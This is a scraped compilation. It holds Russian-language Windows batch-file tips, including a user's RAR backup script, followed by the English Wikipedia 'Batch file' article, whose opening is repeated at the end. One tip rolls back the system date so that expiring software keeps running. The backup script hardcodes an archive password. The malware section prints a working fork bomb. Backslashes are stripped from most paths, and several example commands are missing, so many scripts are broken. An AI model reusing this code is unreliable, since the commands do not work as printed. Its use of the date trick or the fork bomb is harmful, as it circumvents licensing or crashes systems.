    for /f «tokens=*» %%a in (‘dir /b PATH*.*’) do ren PATH%%a Prefix%%a

    В этой строке надо заменить PATH на путь к файлам, которые будут переименованы, а Prefix на те символы, которые будут добавлены к имени файла при переименовании.
    Не помещайте пакетный файл в папку, где происходит переименование, иначе он будет переименован тоже. Если в папке, где происходит переименование файлов есть подпапки, то к имени подпапки также будет добавлен префикс, т.е. подпапки будут переименованы как и файлы.
    Если указать определенную маску для типов файлов, которые подлежат переименованию, например, *.txt, а не *.* как в примере, то будут переименованы файлы только указанных типов. Другие файлы и папки переименовываться не будут.

    Второй вариант:
    set thePATH=C:test
    for %%I in (*.txt) do ren «%thePATH%%%~nxI» «%%~nI.dat»
    Как использовать в пакетном файле символ процент

    Чтобы использовать символ процент (%) в пакетном файле его надо написать дважды. Например
    echo 50%%
    Эта команда в bat-файле выведет на экран 50%. Если же использовать команду echo 50%, то на экран будет выведено только число 50.
    Учитывайте эту особенность при использовании символа % в написании пакетных файлов.

    Как из пакетного файла сделать экспорт реестра

    Иногда возникает необходимость сохранить в файл определенный куст (ветку) реестра со всеми параметрами в качестве бэкапа или для других целей. Сделать это из пакетного файла можно при помощи такой команды:

    regedit.exe -ea C:environment.reg «HKEY_CURRENT_USEREnvironment»

    Данная команда при выполнении пакетного файла выгрузит ветку HKEY_CURRENT_USEREnvironment в файл C:environment.reg Когда потребуется восстановить значения параметров в HKEY_CURRENT_USEREnvironment, будет достаточно запустить файл environment.reg. Эту команду можно использовать для ежедневного бэкапа настроек программного обеспечения и системы, которые хранятся в реестре.
    Не забывайте, что если в пути, по которому должен быть сохранен выходной файл или в имени ветки реестра есть пробел, то их необходимо заключить в кавычки.

    Как из пакетного файла импортировать значения переменных реестра

    Если есть необходимость из пакетного файла импортировать в реестр ранее сохраненные или новые значения переменных, то это можно сделать при помощи команды

    regedit.exe -s C:environment.reg

    Эта команда импортирует в реестр данные из файла environment.reg без запросов на подтверждение за счет использования ключа -s.

    Как из bat файла обойти проверку даты

    Некоторое программное обеспечение при запуске проверяет текущую системную дату. Если дата больше, чем заложено разработчиком, то программа не запускается. Например, разработчик считает, что версия программы может отработать месяц, а потом пользователь должен будет установить обновленную версию программы. С одной стороны это забота о пользователе, который будет иметь в своем распоряжении свежую версию программы с устраненными недочетами, по отношению к прошлым версиям. С другой стороны, производитель вынуждает пользователя скачивать новую версию даже если пользователя полностью устраивает та версия программы, которая у него установлена. Данную проблему можно легко решить при помощи следующего пакетного файла, который будет запускать программу, дожидаться ее завершения и возвращать дату на ту, которая была до запуска программы.

    set tempdate=%date:~-10%
    date 01-01-04
    notepad.exe
    date %tempdate%

    В данном примере текущая системная дата сначала сохраняется в переменной, затем (во второй строке) системная дата устанавливается на 1-е января 2004 года, а потом вызывается программа, которая проверяет системную дату. В данном примере это Блокнот. До тех пор, пока открыт Блокнот, пакетный файл находится в ожидании, не завершаясь и не переводя системную дату обратно. Как только Блокнот будет закрыт, пакетный файл продолжит свое выполнение и установит системную дату на сохраненное в переменной tempdate значение, т.е. на то, которое было до запуска пакетного файла.

    Не забывайте, что если путь до файла, которым запускается программа, содержит пробелы, то его (путь) необходимо заключить в кавычки. Если путь содержит кириллицу, то при написании пакетного файла необходимо использовать текстовый редактор, поддерживающий кодировку DOS (например, FAR). В противном случае, при запуске пакетного файла будет выведено сообщение о том, что «указанный файл не является внутренней или внешней коммандой…».

    Если программа проверяет текущую системную дату только при своем запуске и во время работы больше этого не делает, то пакетный файл можно модифицировать, добавив перед именем исполняемого файла программы оператор start, т.е. наш пример будет выглядеть так:

    set tempdate=%date:~-10%
    date 01-01-04
    start notepad.exe
    date %tempdate%

    В этом случае, пакетный файл изменит системную дату, запустит программу и не дожидаясь ее завершения вернет дату на ту, которая была до запуска программы.

    Как в bat файле дождаться появления определенного файла

    Иногда необходимо при появлении определенного файла в папке выполнить какое-то действие. Чтобы организовать проверку появления файла в папке можно использовать следующий пакетный файл

    :test
    if exist c:1.txt goto go
    sleep 10
    goto test
    :go
    notepad

    Такой пакетный файл будет проверять с интервалом 10 секунд наличие в корне диска С файла 1.txt и когда файл 1.txt появится, будет выполнено действие, указанное после метки go, т.е. в этом примере будет запущен Блокнот.
    Утилита sleep свободно распространяется в составе Resource Kit. Вы можете её скачать здесь.
    Если файл 1.txt большого размера и копируется откуда-то, то может получится так, что пакетный файл проверит его наличие в то время, как файл еще не скопировался или занят другим приложением. В таком случае, попытка выполнить какие-то действия с файлом 1.txt приведет к ошибке. Чтобы этого не произошло пакетный файл можно модифицировать следующим образом

    :test
    if exist c:1.txt goto go
    sleep 10
    goto test
    :go
    rename c:1.txt 1.txt
    if not errorlevel 0 goto go
    del c:1.txt

    Когда файл 1.txt скопировался на диск С не полностью, либо занят другим приложением, попытка его переименовать вызовет ошибку и цикл будет повторяться до тех пор, пока файл не скопируется полностью либо не будет освобожден. После того, как команда rename c:1.txt 1.txt будет выполнена без ошибки (т.е. файл свободен), то с ним можно выполнять любые действия. В последнем примере это его удаление.

    Как добавить комментарии в bat-файл

    При написании большого пакетного файла очень полезно добавлять комментарии к его основным блокам. Это позволит с легкостью разобраться в том, что делают эти блоки по прошествии времени.
    Комментарии можно добавить несколькими способами. Первый больше годится для написания больших комментариев, описывающих либо весь пакетный файл, либо несколько больших его блоков. Код выглядит следующим образом:

    goto start
    ———————————————————
    Этот пакетный файл предназначен
    для автоматизации рутинных операций,
    выполняемых ночью для синхронизации
    содержимого корпоративного ftp-сервера
    с ftp-серверами филиалов
    ———————————————————
    Пакетный файл написан 01/01/2004
    Последнее исправление внесено 10/02/2004
    ———————————————————
    И т.д.
    :start

    Такое написание комментария при запуске пакетного файла передаст управление сразу к команде, следующей за меткой start. За это отвечает оператор перехода goto.
    Более простые комментарии можно добавить, начиная строки с команды rem или с двух двоеточий, идущих друг за другом.

    rem Этот блок устанавливает соединение с удаленным сервером

    :: Этот блок проверяет дату изменения файлов
    Комментирование больших пакетных файлов (как, в принципе, и любого кода) — хороший тон, который значительно облегчает процесс разбора этих файлов другими людьми или самим автором по прошествии значительного времени с момента написания.

    Автоматическое создание резервной копии данных

    Favorite любезно поделился с нами небольшим скриптом, который автоматически создаёт архивную копию важных данных. Вот его сообщение:

    Скрипт архивирует папку файлопомойки (\SERVERe$ Exchange)
    и папку с данными юзеров (домашнюю Данные пользователей (\SERVERe$ Departments))
    Скрипт не архивирует медиафайлы, так как они занимают вагон места и их потеря у меня не критична

    rem *******************
    rem задаём винты где лежат папки для архивирования и винт куда будем бэкапить
    rem *******************
    SET DRIVE1ST=d:
    SET DRIVE2ND=e:

    rem *******************
    rem пароль на архив
    rem *******************
    SET PASSWD=qmsdhgsdfgsdfhdsfhsdhf

    rem *******************
    rem если копировать для надёжности куданить на сетку
    rem *******************
    rem SET COPYTO=\shpakkc$ !backup

    rem ********************
    rem *** Проверим путь назначения архива
    rem ********************
    %DRIVE1ST%
    if not exist !backup md !backup
    if not exist !backupDepartments md !backupDepartments
    if not exist !backupExchange md !backupExchange
    if not exist !backupMEDEA_rdisk md !backupMEDEA_rdisk
    cd !backup

    rem ******************************
    rem *** Backup \SERVERe$ Exchange
    rem ******************************
    SET DIRNAME=Exchange
    SET FILENAME=SERVER_Exchange
    SET SOURCEDIR=e:Exchange
    rar a -r -m5 -dh -x*.mp3 -x*.fcd -x*.avi -x*.zip -x*.rar -x*.exe -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%*.*
    if not exist %DIRNAME%%FILENAME%_new.rar goto next2
    del %DIRNAME%%FILENAME%_old.rar
    ren %DIRNAME%%FILENAME%.rar %FILENAME%_old.rar
    ren %DIRNAME%%FILENAME%_new.rar %FILENAME%.rar
    copy %DIRNAME%%FILENAME%.rar %COPYTO%%DIRNAME%

    :next2
    rem ***************************
    rem *** Backup \SERVERe$ Users
    rem ***************************
    SET DIRNAME=Departments
    SET FILENAME=SERVER_Departments
    SET SOURCEDIR=e:Departments
    if not exist %DIRNAME%%FILENAME%_new.rar goto next3
    del %DIRNAME%%FILENAME%_old.rar
    ren %DIRNAME%%FILENAME%_4.rar %FILENAME%_old.rar
    ren %DIRNAME%%FILENAME%_3.rar %FILENAME%_4.rar
    ren %DIRNAME%%FILENAME%_2.rar %FILENAME%_3.rar
    ren %DIRNAME%%FILENAME%_new.rar %FILENAME%_2.rar
    :next3
    rem *******************
    rem это если архив будет большим — кусками бить -v357888k
    rem *******************
    rem rar a -r -m5 -v357888k -dh -x*.mp3 -x*.fcd -x*.avi -x*.exe -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%
    rem *******************
    rem архивирование пошло, не берём мультимедиа файлы
    rem *******************
    rar a -r -dh -x*.mp3 -x*.fcd -x*.avi -x*.exe -x*.jpg -x*.tif -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%
    goto next4

    :next4
    rem **********************************
    rem *** Create repair disk on \SERVER
    rem **********************************
    SET DIRNAME=MEDEA_rdisk
    SET FILENAME=MEDEA_rdisk
    SET SOURCEDIR=%windir%repair
    %windir%system32rdisk.exe /s-
    rar a -r -m5 -dh -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%*.*
    if not exist %DIRNAME%%FILENAME%_new.rar goto next5
    del %DIRNAME%%FILENAME%_old.rar
    ren %DIRNAME%%FILENAME%.rar %FILENAME%_old.rar
    ren %DIRNAME%%FILENAME%_new.rar %FILENAME%.rar
    copy %DIRNAME%%FILENAME%.rar %COPYTO%%DIRNAME%

    В итоге имеем 3 папки:

    Departments, в ней:
    SERVER_Departments_2.rar — 2х дневной давности
    SERVER_Departments_3.rar — 3х дневной давности
    SERVER_Departments_4.rar — 4х дневной давности
    SERVER_Departments_new.rar — НОВЫЙ
    SERVER_Departments_old.rar — СТАРЫЙ

    Exchange
    Так как архивируем обменник — он нам сильно то и не нужен храним только сегодняшний и вчерашний архивы
    SERVER_Exchange.rar
    SERVER_Exchange_old.rar

    ну и систему на всякий в папке
    SERVER_rdisk
    SERVER_rdisk.rar
    SERVER_rdisk_old.rar

    Как запретить повторный запуск приложения

    Если приложение запускается bat-файлом, то отследить (и запретить) его повторный запуск можно таким образом:

    pslist.exe -e «процесс»
    if %errorlevel%==1 start «» «программа»
    pslist — бесплатная утилита.

    Как создать папку с именем равным текущей дате

    Достаточно часто необходимо создавать папку с именем равным текущей дате и затем копировать в нее, например, бэкап. Есть насколько вариантов создания такой папки:

    Такая команда создаст в корне системного диска папку с именем равным текущей дате. Эта команда не сработает, если региональные установки отличны от русского и в разделителях даты используется слеш. В таком случае, поможет один из следующих скриптов:

    md %systemdrive%%date:~6,4%_%date:~3,2%_%date:~0,2%
    Во втором случае, папки будут сортироваться по алфавиту.

    Как вариант, можно рассмотреть добавление к имени файла текущей даты:

    @echo off
    for /F «tokens=1-4 usebackq delims=. » %%1 in (`date /t`) do set mydate=%%4.%%3.%%2
    ren test.txt test%mydate%.txt

    Имя файла test.txt будет переименовано в test2005.03.05.txt

    Можно ли зациклить в bat-файле выполнение команды?

    Иногда необходимо создать bat-файл, который будет запускать некую команду через определённый интервал времени. Для решения этой задачи можно воспользоваться Планировщиком и часто запускать bat-файл из него, а можно создать в bat-файле цикл с паузой.

    Цикл организуется при помощи следующих команд:
    :loop
    . goto loop
    Паузу можно создать при помощи любой команды. Например, при помощи ping:
    ping -n 1 -w 100000 192.168.254.254 >nul

    -n 1 — выполнить один запрос
    -w 100000 — ждать ответа 100 секунд (значение указывается в миллисекундах)
    192.168.254.254 — IP адрес, который заведомо не существует в локальной сети, т.е. никогда не ответит на ping
    >nul — перенаправление всего вывода команды ping в никуда.

    Batch file
    Filename extensions .bat , .cmd , .btm Internet media type
    • application/bat
    • application/x-bat
    • application/x-msdos-program
    • text/plain

    A batch file is a script file in DOS, OS/2 and Microsoft Windows. It consists of a series of commands to be executed by the command-line interpreter, stored in a plain text file. A batch file may contain any command the interpreter accepts interactively and use constructs that enable conditional branching and looping within the batch file, such as IF , FOR , and GOTO labels. The term «batch» is from batch processing, meaning «non-interactive execution», though a batch file might not process a batch of multiple data.

    Similar to Job Control Language (JCL), DCL and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a script to automate them. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. [1] Unix-like operating systems, such as Linux, have a similar, but more flexible, type of file called a shell script. [2]

    The filename extension .bat is used in DOS and Windows. Windows NT and OS/2 also added .cmd. Batch files for other environments may have different extensions, e.g., .btm in 4DOS, 4OS2 and 4NT related shells.

    The detailed handling of batch files has changed significantly between versions. Some of the detail in this article applies to all batch files, while other details apply only to certain versions.

    Variants [ edit ]

    DOS [ edit ]

    In MS-DOS, a batch file can be started from the command-line interface by typing its name, followed by any required parameters and pressing the ↵ Enter key. When DOS loads, the file AUTOEXEC.BAT, when present, is automatically executed, so any commands that need to be run to set up the DOS environment may be placed in this file. Computer users would have the AUTOEXEC.BAT file set up the system date and time, initialize the DOS environment, load any resident programs or device drivers, or initialize network connections and assignments.

    A .bat file name extension identifies a file containing commands that are executed by the command interpreter COMMAND.COM line by line, as if it were a list of commands entered manually, with some extra batch-file-specific commands for basic programming functionality, including a GOTO command for changing flow of line execution.

    Early Windows [ edit ]

    Microsoft Windows was introduced in 1985 as a graphical user interface-based (GUI) overlay on text-based operating systems and was designed to run on DOS. In order to start it, the WIN command was used, which could be added to the end of the AUTOEXEC.BAT file to allow automatic loading of Windows. In the earlier versions, one could run a .bat type file from Windows in the MS-DOS Prompt. Windows 3.1x and earlier, as well as Windows 9x invoked COMMAND.COM to run batch files.

    OS/2 [ edit ]

    The IBM OS/2 operating system supported DOS-style batch files. It also included a version of REXX, a more advanced batch-file scripting language. IBM and Microsoft started developing this system, but during the construction of it broke up after a dispute; as a result of this, IBM referred to their DOS-like console shell without mention of Microsoft, naming it just DOS, although this seemingly made no difference with regard to the way batch files worked from COMMAND.COM.

    OS/2’s batch file interpreter also supports an EXTPROC command. This passes the batch file to the program named on the EXTPROC file as a data file. The named program can be a script file; this is similar to the #! mechanism used by Unix-like operating systems.

    Windows NT [ edit ]

    Unlike Windows 98 and earlier, the Windows NT family of operating systems does not depend on MS-DOS. Windows NT introduced an enhanced 32-bit command interpreter (cmd.exe) that could execute scripts with either the .CMD or .BAT extension. Cmd.exe added additional commands, and implemented existing ones in a slightly different way, so that the same batch file (with different extension) might work differently with cmd.exe and COMMAND.COM. In most cases, operation is identical if the few unsupported commands are not used. Cmd.exe’s extensions to COMMAND.COM can be disabled for compatibility.

    Microsoft released a version of cmd.exe for Windows 9x and ME called WIN95CMD to allow users of older versions of Windows to use certain cmd.exe-style batch files.

    As of Windows 8, cmd.exe is the normal command interpreter for batch files; the older COMMAND.COM can be run as well in 32-bit versions of Windows able to run 16-bit programs. [nb 1]

    Filename extensions [ edit ]

    .bat The first filename extension used by Microsoft for batch files. This extension runs with DOS and all versions of Windows, under COMMAND.COM or cmd.exe, despite the different ways the two command interpreters execute batch files. .cmd Used for batch files in Windows NT family and sent to cmd.exe for interpretation. COMMAND.COM does not recognize this file name extension, so cmd.exe scripts are not executed in the wrong Windows environment by mistake. In addition, append , dpath , ftype , set , path , assoc and prompt commands, when executed from a .bat file, alter the value of the errorlevel variable only upon an error, whereas from within a .cmd file, they would affect errorlevel even when returning without an error. [3] It is also used by IBM’s OS/2 for batch files. .btm The extension used by 4DOS, 4OS2, 4NT and Take Command. These scripts are faster, especially with longer ones, as the script is loaded entirely ready for execution, rather than line-by-line. [4]

    Batch file parameters [ edit ]

    COMMAND.COM and cmd.exe support special variables ( %0 , %1 through %9 ) in order to refer to the path and name of the batch job and the first nine calling parameters from within the batch job, see also SHIFT . Non-existent parameters are replaced by a zero-length string. They can be used similar to environment variables, but are not stored in the environment. Microsoft and IBM refer to these variables as replacement parameters or replaceable parameters, whereas Digital Research, Novell and Caldera established the term replacement variables [5] for them. JP Software calls them batch file parameters. [6]

    Examples [ edit ]

    This example batch file displays Hello World! , prompts and waits for the user to press a key, and then terminates. (Note: It does not matter if commands are lowercase or uppercase unless working with variables)

    @ECHO OFF ECHO Hello World! PAUSE 

    To execute the file, it must be saved with the filename extension suffix .bat (or .cmd for Windows NT-type operating systems) in plain text format, typically created by using a text editor such as Microsoft Notepad or a word processor working in plain text mode.

    When executed, the following is displayed:

    Hello World! Press any key to continue . . .

    Explanation [ edit ]

    The interpreter executes each line in turn, starting with the first. The @ symbol at the start of any line prevents the prompt from displaying that command as it is executed. The command ECHO OFF turns off the prompt permanently, or until it is turned on again. The combined @ECHO OFF is often as here the first line of a batch file, preventing any commands from displaying, itself included. Then the next line is executed and the ECHO Hello World! command outputs Hello World! . The next line is executed and the PAUSE command displays Press any key to continue . . . and pauses the script’s execution. After a key is pressed, the script terminates, as there are no more commands. In Windows, if the script is executed from an already running command prompt window, the window remains open at the prompt as in MS-DOS; otherwise, the window closes on termination.

    Limitations and exceptions [ edit ]

    Null values in variables [ edit ]

    Variable expansions are substituted textually into the command, and thus variables which contain nothing simply disappear from the syntax, and variables which contain spaces turn into multiple tokens. This can lead to syntax errors or bugs.

    For example, if %foo% is empty, this statement:

    parses as the erroneous construct:

    Similarly, if %foo% contains abc def , then a different syntax error results:

    IF abc def==bar ECHO Equal

    The usual way to prevent this problem is to surround variable expansions in quotes so that an empty variable expands into the valid expression IF «»==»bar» instead of the invalid IF ==bar . The text that is being compared to the variable must also be enclosed in quotes, because the quotes are not special delimiting syntax; these characters represent themselves.

    IF "%foo%"=="bar" ECHO Equal

    The delayed !VARIABLE! expansion available in Windows 2000 and later may be used to avoid these syntactical errors. In this case, null or multi-word variables do not fail syntactically because the value is expanded after the IF command is parsed:

    Another difference in Windows 2000 or higher is that an empty variable (undefined) is not substituted. As described in previous examples, previous batch interpreter behaviour would have resulted in an empty string. Example:

    C:>set MyVar= C:>echo %MyVar% %MyVar% C:>if "%MyVar%"=="" (echo MyVar is not defined) else (echo MyVar is %MyVar%) MyVar is %MyVar% 

    Batch interpreters prior to Windows 2000 would have displayed result MyVar is not defined .

    Quotation marks and spaces in passed strings [ edit ]

    Unlike Unix/POSIX processes, which receive their command-line arguments already split up by the shell into an array of strings, a Windows process receives the entire command-line as a single string, via the GetCommandLine API function. As a result, each Windows application can implement its own parser to split the entire command line into arguments. Many applications and command-line tools have evolved their own syntax for doing that, and so there is no single convention for quoting or escaping metacharacters on Windows command lines.

    • For some commands, spaces are treated as delimiters that separate arguments, unless those spaces are enclosed by quotation marks. Various conventions exist of how quotation marks can be passed on to the application:
      • A widely used convention is implemented by the command-line parser built into the Microsoft Visual C++ runtime library in the CommandLineToArgvW function. It uses the convention that 2 n backslashes followed by a quotation mark («) produce n backslashes followed by a begin/end quote, whereas (2 n )+1 backslashes followed by a quotation mark again produce n backslashes followed by a quotation mark literal. The same convention is part of the .NET Framework specification. [7]
        • An undocumented aspect is that «» occurring in the middle of a quoted string produces a single quotation mark. [7] (A CRT change in 2008 [msvcr90] modified this undocumented handling of quotes. [8] ) This is helpful for inserting a quotation mark in an argument without re-enabling interpretation of cmd metacharacters like | , & and > . (cmd does not recognize the usual « as escaping the quote. It re-enables these special meanings on seeing the quote, thinking the quotation has ended.)

        Where a string contains quotation marks, and is to be inserted into another line of text that must also be enclosed in quotation marks, particular attention to the quoting mechanism is required:

        C:>set foo="this string is enclosed in quotation marks" C:>echo "test 1 %foo%" "test 1 "this string is enclosed in quotation marks"" C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%" ERROR: Invalid Argument/Option - 'string'. Type "EVENTCREATE /?" for usage. 

        On Windows 2000 and later, the solution is to replace each occurrence of a quote character within a value by a series of three quote characters:

        C:>set foo="this string is enclosed in quotes" C:>set foo=%foo:"="""% C:>echo "test 1 %foo%" "test 1 """this string is enclosed in quotes"""" C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%" SUCCESS: A 'Warning' type event is created in the 'Source' log/source. 

        Escaped characters in strings [ edit ]

        Some characters, such as pipe ( | ) characters, have special meaning to the command line. They cannot be printed as text using the ECHO command unless escaped using the caret ^ symbol:

        C:>echo foo | bar 'bar' is not recognized as an internal or external command, operable program or batch file. C:>echo foo ^| bar foo | bar 

        However, escaping does not work as expected when inserting the escaped character into an environment variable. The variable ends up containing a live pipe command when merely echoed. It is necessary to escape both the caret itself and the escaped character for the character display as text in the variable:

        C:>set foo=bar | baz 'baz' is not recognized as an internal or external command, operable program or batch file. C:>set foo=bar ^| bar C:>echo %foo% 'baz' is not recognized as an internal or external command, operable program or batch file. C:>set foo=bar ^^^| baz C:>echo %foo% bar | baz 

        The delayed expansion available with or with in Windows 2000 and later may be used to show special characters stored in environment variables because the variable value is expanded after the command was parsed:

        C:>cmd /V:ON Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:>set foo=bar ^| baz C:>echo !foo! bar | baz 

        Sleep or scripted delay [ edit ]

        Until the TIMEOUT command was introduced with Windows Vista, there was no easy way to implement a timed pause, as the PAUSE command halts script activity indefinitely until any key is pressed.

        Many workarounds were possible, [10] but generally only worked in some environments: The CHOICE command was not available in older DOS versions, PING was only available if TCP/IP was installed, and so on. No solution was available from Microsoft, but a number of small utility programs, could be installed from other sources. A commercial example would be the 1988 Norton Utilities Batch Enhancer (BE) command, where BE DELAY 18 would wait for 1 second, or the free 94-byte WAIT.COM [11] where WAIT 5 would wait for 5 seconds, then return control to the script. Most such programs are 16-bit .COM files, so are incompatible with 64-bit Windows.

        Text output with stripped CR/LF [ edit ]

        Normally, all printed text automatically has the control characters for carriage return (CR) and line feed (LF) appended to the end of each line.

        C:>batchtest.bat foo bar 

        It does not matter if the two echo commands share the same command line; the CR/LF codes are inserted to break the output onto separate lines:

        C:>@echo Message 1&@echo Message 2 Message 1 Message 2 

        A trick discovered with Windows 2000 and later is to use the special prompt for input to output text without CR/LF trailing the text. In this example, the CR/LF does not follow Message 1, but does follow Line 2 and Line 3:

        @echo off set /p ="Message 1"nul echo Message 2 echo Message 3
        C:>batchtest2.bat Message 1Message 2 Message 3 

        This can be used to output data to a text file without CR/LF appended to the end:

        C:>set /p ="Message 1"nul >data.txt C:>set /p ="Message 2"nul >>data.txt C:>set /p ="Message 3"nul >>data.txt C:>type data.txt Message 1Message 2Message 3 

        However, there is no way to inject this stripped CR/LF prompt output directly into an environment variable.

        Setting a Uniform Naming Convention (UNC) working directory from a shortcut [ edit ]

        It is not possible to have a command prompt that uses a UNC path as the current working directory; e.g. \serversharedirectory

        The command prompt requires the use of drive letters to assign a working directory, which makes running complex batch files stored on a server UNC share more difficult. While a batch file can be run from a UNC file path, the working directory default is C:WindowsSystem32 .

        In Windows 2000 and later, a workaround is to use the PUSHD and POPD command with command extensions. [nb 2]

        If not enabled by default, command extensions can be temporarily enabled using the /E:ON switch for the command interpreter.

        So to run a batch file on a UNC share, assign a temporary drive letter to the UNC share, and use the UNC share as the working directory of the batch file, a Windows shortcut can be constructed that looks like this:

        The working directory attribute of this shortcut is ignored.

        This also solves a problem related to User Account Control (UAC) on Windows Vista and newer. When an administrator is logged on and UAC is enabled, and they try to run a batch file as administrator from a network drive letter, using the right-click file context menu, the operation will unexpectedly fail. This is because the elevated UAC privileged account context does not have network drive letter assignments, and it is not possible to assign drive letters for the elevated context via the Explorer shell or logon scripts. However, by creating a shortcut to the batch file using the above PUSHD / POPD construct, and using the shortcut to run the batch file as administrator, the temporary drive letter will be created and removed in the elevated account context, and the batch file will function correctly.

        The following syntax does correctly expand to the path of the current batch script.

        UNC default paths are turned off by default as they used to crash older programs. [12]

        The Dword registry value DisableUNCCheck at HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor [12] allows the default directory to be UNC. CD command will refuse to change but placing a UNC path in Default Directory in a shortcut to Cmd or by using the Start command. ( C$ share is for administrators).

        Character set [ edit ]

        Batch files use an OEM character set, as defined by the computer, e.g. Code page 437. The non-ASCII parts of these are incompatible with the Unicode or Windows character sets otherwise used in Windows so care needs to be taken. [13] Non-English file names work only if entered through a DOS character set compatible editor. File names with characters outside this set do not work in batch files.

        To get a command prompt with Unicode instead of Code page 437 or similar, one can use the cmd /U command. In such a command prompt, a batch file with Unicode filenames will work. Also one can use cmd /U to directly execute commands with Unicode as character set. For example, cmd /U /C dir > files.txt creates a file containing a directory listing with correct Windows characters, in the UTF-16LE encoding.

        Batch viruses and malware [ edit ]

        As with any other programming language, batch files can be used maliciously. Simple trojans and fork bombs are easily created, and batch files can do a form of DNS poisoning by modifying the hosts file. Batch viruses are possible, and can also spread themselves via USB flash drives by using Windows’ Autorun capability. [14]

        The following command in a batch file will delete all the data in the current directory (folder) — without first asking for confirmation:

        These three commands are a simple fork bomb that will continually replicate itself to deplete available system resources, slowing down or crashing the system:

        :TOP start "" %0 goto TOP 

        Other Windows scripting languages [ edit ]

        The cmd.exe command processor that interprets .cmd files is supported in all 32- and 64-bit versions of Windows up to at least Windows 10. COMMAND.EXE, which interprets .BAT files, was supported in all 16- and 32-bit versions up to at least Windows 10. [nb 3]

        There are other, later and more powerful, scripting languages available for Windows. However, these require the scripting language interpreter to be installed before they can be used:

        • Extended Batch Language (EBL) (.bat) — developed by Frank Canova as an ‘own-time’ project while working at IBM in 1982. It was subsequently sold by Seaware Corp as an interpreter and compiler primarily for DOS, but later for Windows.
        • KiXtart (.kix) — developed by a Microsoft employee in 1991, specifically to meet the need for commands useful in a network logon script while retaining the simple ‘feel’ of a .cmd file.
        • Windows Script Host (.vbs , .js and .wsf) — released by Microsoft in 1998, and consisting of cscript.exe and wscript.exe, runs scripts written in VBScript or JScript. It can run them in windowed mode (with the wscript.exe host) or in console-based mode (with the cscript.exe host). They have been a part of Windows since Windows 98.
        • PowerShell (.ps1) — released in 2006 by Microsoft and can operate with Windows XP (SP2/SP3) and later versions. PowerShell can operate both interactively (from a command-line interface) and also via saved scripts, and has a strong resemblance to Unix shells. [15]
        • Unix-style shell scripting languages can be used if a Unix compatibility tool, such as Cygwin, is installed.
        • Cross-platform scripting tools including Perl, Python, Ruby, Rexx, Node.js and PHP are available for Windows.

        Script files run if the filename without extension is entered. There are rules of precedence governing interpretation of, say, DoThis if DoThis.com , DoThis.exe , DoThis.bat , DoThis.cmd , etc. exist; by default DoThis.com has highest priority. This default order may be modified in newer operating systems by the user-settable PATHEXT environment variable.

        See also [ edit ]

        • List of DOS commands

        Notes [ edit ]

        1. ^ To verify that COMMAND.COM remains available (in the WINDOWSSYSTEM32 directory), type COMMAND.COM at the 32-bit Windows 7 command prompt.
        2. ^ «If Command Extensions are enabled the PUSHD command accepts network paths in addition to the normal drive letter and path. If a network path is specified, PUSHD creates a temporary drive letter that points to that specified network resource and then change the current drive and directory, using the newly defined drive letter. Temporary drive letters are allocated from Z: on down, using the first unused drive letter found.» —The help for PUSHD in Windows 7
        3. ^ Availability of CMD.EXE and COMMAND.COM can be confirmed by invoking them in any version of Windows (COMMAND.COM not in 64-bit versions; probably only available in Windows 8 32-bit versions if installed with option to support 16-bit programs).

        References [ edit ]

        1. ^ «Using batch files: Scripting; Management Services». Technet.microsoft.com. 2005-01-21 . Retrieved 2012-11-30 .
        2. ^ Henry-Stocker, Sandra (2007-07-18). «Use your Unix scripting skills to write a batch file». itworld.com. IT World . Retrieved 2018-06-13 .
        3. ^ «Difference between bat and cmd | WWoIT — Wayne’s World of IT». waynes-world-it.blogspot.fr. 2012-11-15 . Retrieved 2012-11-30 .
        4. ^ «btm file extension :: all about the .btm file type». Cryer.co.uk . Retrieved 2012-11-30 .
        5. ^Caldera DR-DOS 7.02 User Guide, Caldera, Inc., 1998 [1993, 1997], archived from the original on 2016-11-05 , retrieved 2013-08-10
        6. ^ Brothers, Hardin; Rawson, Tom; Conn, Rex C.; Paul, Matthias R.; Dye, Charles E.; Georgiev, Luchezar I. (2002-02-27). 4DOS 8.00 online help.
        7. ^ ab «.NET Core Runtime: System.Diagnostics.Process.Unix». GitHub . Retrieved 2020-02-11 . Two consecutive double quotes inside an inQuotes region should result in a literal double quote (the parser is left in the inQuotes region). This behavior is not part of the spec of code:ParseArgumentsIntoList, but is compatible with CRT and .NET Framework.
        8. ^ ab Deley, David. «How Command Line Parameters Are Parsed».
        9. ^ «Child process documentation, section Windows Command Line, NodeJS PR #29576». GitHub . Retrieved 2020-02-11 .
        10. ^ «How to do a delay», ericphelps.com
        11. ^ Utilities for DOS, linking to WAIT.ZIP (archive of WAIT.COM) and other programs
        12. ^ ab https://support.microsoft.com/en-us/kb/156276 [ dead link ]
        13. ^ Chen, Raymond. «Keep your eye on the code page». Microsoft.
        14. ^ http://www.explorehacking.com/2011/01/batch-files-art-of-creating-viruses.html [ bare URL ]
        15. ^ «Windows PowerShell — Unix comes to Windows». Geekswithblogs.net . Retrieved 2012-11-30 .

        External links [ edit ]

        • Microsoft Windows XP Batch file reference
        • How Windows batch files work
        • Windows 10 batch file commands
        • FreeDOS’ FreeCOM : complete feature list
        • Windows Command Line Interface script programming links
        • scripting related information (also command line)
        • dbenham. «How does the Windows Command Interpreter (CMD.EXE) parse scripts?». Stack Overflow.
        Batch file
        Filename extensions .bat , .cmd , .btm Internet media type
        • application/bat
        • application/x-bat
        • application/x-msdos-program
        • text/plain

        A batch file is a script file in DOS, OS/2 and Microsoft Windows. It consists of a series of commands to be executed by the command-line interpreter, stored in a plain text file. A batch file may contain any command the interpreter accepts interactively and use constructs that enable conditional branching and looping within the batch file, such as IF , FOR , and GOTO labels. The term «batch» is from batch processing, meaning «non-interactive execution», though a batch file might not process a batch of multiple data.

